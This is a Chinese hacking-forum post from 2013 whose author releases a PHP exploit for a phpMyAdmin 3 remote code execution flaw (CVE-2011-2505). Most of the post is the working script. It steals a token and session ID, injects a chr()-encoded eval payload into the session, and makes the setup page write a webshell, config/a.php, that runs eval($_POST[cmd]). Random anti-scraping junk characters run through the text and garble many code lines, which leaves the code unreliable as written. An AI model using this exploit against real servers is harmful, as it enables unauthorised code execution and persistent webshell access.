找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2107|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
' i. X8 @* g& t8 {9 y; ?$ {& G: B$ U8 f/ A6 \6 P3 S- r
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。5 Y! ^: N1 [) C' T# L1 C, x

8 ~. `( M5 @0 u. G% s首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
) ~% z4 z5 c: E- i一是session.auto_start = 1;8 f# |+ N6 z  }+ o& ^$ n
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
4 [3 t7 H! O1 A/ g当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
8 L" o" T" c- Q/ }
! m' u5 [1 A( f( ^1 b0 a在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ r9 o3 I4 {- G( p' A
9 ]$ o" D4 G2 @/ k/ `于是写了这个php版本的exp,代码如下:$ V7 t' \  G9 \1 K
: V9 F! g9 i$ m( d# d
#!/usr/bin/php1 J4 `: Z- Z$ G# U4 g
<?php; E4 C& z' q' `. C+ M
print_r('
+ S, Z1 Z$ h# F* h3 r) |" B+---------------------------------------------------------------------------+/ M2 z' A6 u" s
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
  }3 t% k" v& g2 Dby oldjun(www.oldjun.com)
: o2 a! _# t/ Mwelcome to www.t00ls.net6 _/ M7 T) q2 G( k+ U" u1 K$ O& Y
mail: oldjun@gmail.com
/ v( b3 P/ P8 j9 m6 @( X1 B( wAssigned CVE id: CVE-2011-2505; G. Q: w& [5 i7 o/ f& _) y
+---------------------------------------------------------------------------+/ _; Q4 q6 g6 J; ]
');
5 E# w% ^) F5 d$ [3 I. W: B; a$ m  h. B% T/ Z$ P9 K
/**
8 l. L! y8 ?4 ^4 F2 v7 ^5 W * working when the directory:"config" exists and is writeable.
  e6 L8 b3 S+ D6 g! t**/
, W' d* |# i9 Q9 K# [$ p8 g# U
+ C! i' q+ {. w7 ?6 O  D- h( zif ($argc < 3) {
4 \- V: ^1 j* D/ A1 a    print_r('9 K( N0 G5 P  o6 }6 \
+---------------------------------------------------------------------------+: Y' v, l; f& a0 r' R
Usage: php '.$argv[0].' host path
3 C6 I5 x$ W  s. ~host:      target server (ip/hostname)
* m9 `, `* Y, Dpath:      path to pma3- L" K; }1 q9 `/ H0 G1 d
Example:
3 z5 s; r4 P' A  Q4 kphp '.$argv[0].' localhost /pma/0 W: V$ U: T; X. {% ^1 }" ~) c: B
+---------------------------------------------------------------------------+
& x5 P) i/ x3 L! Z! G  O5 Z7 a');$ }( I8 x7 _3 H2 b: C3 S9 v
    exit;
+ X8 O$ h1 J3 h  G9 y0 r}7 P: L5 D/ P4 c0 x$ ^. y, b
2 e: K4 }, e+ L& N$ ^% a6 a+ Y1 @
$host = $argv[1];5 o- t% }( P& c) U' K- Y( I
$path = $argv[2];# I& J: s6 R- a/ ]' t7 E+ N

) _' u. S, J' N; }5 N/ ~/**) P7 G1 g5 A0 H! `! A9 S
* Try to determine if the directory:"config" exists
8 v7 V8 H% y  g% h( E$ v, E+ A; L**/
4 `4 f8 Z$ n. A+ [6 y  Eecho "[+] Try to determine if the directory:config exists....\n";
" f9 D0 A# Y/ m$returnstr=php_request('config/');. z7 `9 p6 Z' v- e/ u3 j
if(strpos($returnstr,'404')){
+ u  C6 ?7 x2 v! E$ R7 Z* i    exit("[-] Exploit Failed! The directory:config do not exists!\n");4 q% `7 f9 f! N5 t/ T& ]8 d3 l
}2 X! e; z. V5 @" l  c" l9 e

% v7 l$ e: c. E9 Y  ?/**
! _9 t  o9 N, t" L3 X- |% \ * Try to get token and sessionid
6 {+ C) {( ~( Y5 H+ u3 z  ^**/+ g! }' B4 d% F3 c. h
echo "[+] Try to get token and sessionid....\n";5 y! A% `, P0 K
$result=php_request('index.php');& e7 H/ l8 W6 b: K3 W5 M1 w$ `  ?# d
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);/ G$ a5 S9 x5 ^/ N* y
$token=$resp[3];7 L% v2 M* F. C) O% ]! z
$sessionid=$resp[1];7 e" y1 u: K, i8 o, P& Q
if($token && $sessionid){0 p0 y2 [" r' J4 }. C
    echo "[+] tokentoken\n";
: F1 ?5 p, @. n2 B, Y7 W. z+ D( r4 w    echo "[+] Session IDsessionid\n";
9 L+ e# R6 W$ F$ ?8 W$ k}else{! O' p7 x( n8 l/ |, S
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
) c1 ]9 E3 D+ o& L9 s}
% V/ t0 v! r# W3 N3 R; T- u8 x5 T. f- n2 o' y* j. @) k
/**
1 V  F1 k, B; @! A- ? * Try to insert shell into session
5 f. ?' X' t# w& x) U1 b**/
" K7 b/ g# N/ y4 q0 Z' Lecho "[+] Try to insert shell into session....\n";
2 f( Z2 m( ?/ a/ d" Zphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.  Q# j# W1 _, u! d/ z8 ~. ?

* C* B( ^- d; a' a$ ~# ^/**
: \2 a& s6 o; O# B * Try to create webshell) d2 d4 G# A' u) G
**/0 o3 _( y, w$ h+ Y6 U
echo "[+] Try to create webshell....\n";
, E8 i9 V" Y+ W! ~, i* W* S$ G0 Nphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
* [# t. R! g5 P/**8 q9 q: L" D5 B0 C
* Try to check if the webshell was created successfully
( ^6 c. z2 g7 v$ ^- J7 _! e6 K**/
6 T1 p/ G0 |. f: Jecho "[+] Try to check if the webshell was created successfully....\n";
" j- f  ]' ~7 h; d7 v- [* c$content=php_request('config/config.inc.php');
4 N. M8 {. v  |* Z$ [( bif(strpos($content,'t00ls')){/ k" h$ q: u! l: j( s
    echo "[+] Congratulations! Expoilt successfully....\n";- e9 h' u6 B+ v! r8 w! g
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: F! y0 i6 Y7 P: u* A( U) s5 {}else{
* F$ s2 y/ v, O  e: ~    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 H( g8 _& o9 d" V% E' p. ?9 K+ `- n7 [}8 g- G! e1 I3 v% V) [4 Q% R, q

: p& G' x0 |# z8 H5 j+ f# c8 |9 Afunction php_request($url,$data='',$cookie=''){
) u4 B5 {" f0 ^9 v+ V- Q' u- Y    global  $host, $path;! N$ Y' l; G! M: _. c
    ( n3 S% E# i0 L2 |. C) i" O0 n
    $method=$data?'POST':'GET';% ]- q2 }1 @, I4 N# o
   
, F# W; c2 ~' p- _! k" r    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
" e: h  v4 J6 V6 m3 O, H/ y: n    $packet .= "Accept: */*\r\n";7 b2 ~& M1 ?' g5 X7 j
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
) K7 q* w$ h, H; @7 I    $packet .= "Host: $host\r\n";
( z: s- `" A4 ?; Y; m0 K6 \# j    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
9 n0 b$ d3 t* X2 {1 v. l    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";% M( g# K/ ?: ^6 g" V  c4 R% j" g
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
: Q7 |6 ~+ f; h) ^; O    $packet .= "Connection: Close\r\n\r\n";
( k0 I! }, K" o5 L/ V+ R    $packet .= $data?$data:"";
+ O5 V* [/ J3 _( e+ f& ?! U. s; L/ q; ?- n4 Q3 q
    $fp = fsockopen(gethostbyname($host), 80);( \# t* A3 i- ]; K8 ~
    if (!$fp) {! B1 |7 z% F, b6 D
    echo 'No response from '.$host; die;) j3 F) P  H; T! @8 ~0 A
    }# m* _$ j; ?! r3 P8 F( i% W0 |! c
    fputs($fp, $packet);% x- S; Z! }7 C

7 ^% ?8 {- @# S, E- n6 s+ D    $resp = '';' G1 Y2 n6 S' ]9 E
2 A7 x7 p1 V' Z0 ^  s% ^" S
    while ($fp && !feof($fp))0 W& J( _8 k" c1 U5 U
        $resp .= fread($fp, 1024);
; k% w  c/ V) m7 i8 ~* T8 D  G7 P- Z1 }( j6 z- a% e  y  \2 g5 K
    return $resp;
* k( N4 v2 l6 _7 I' Q) _1 `}
7 R& m" X1 @8 n6 R6 [. U    4 p* u  F5 a" G# q
?> 1 Y. B8 i: G/ [, o
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表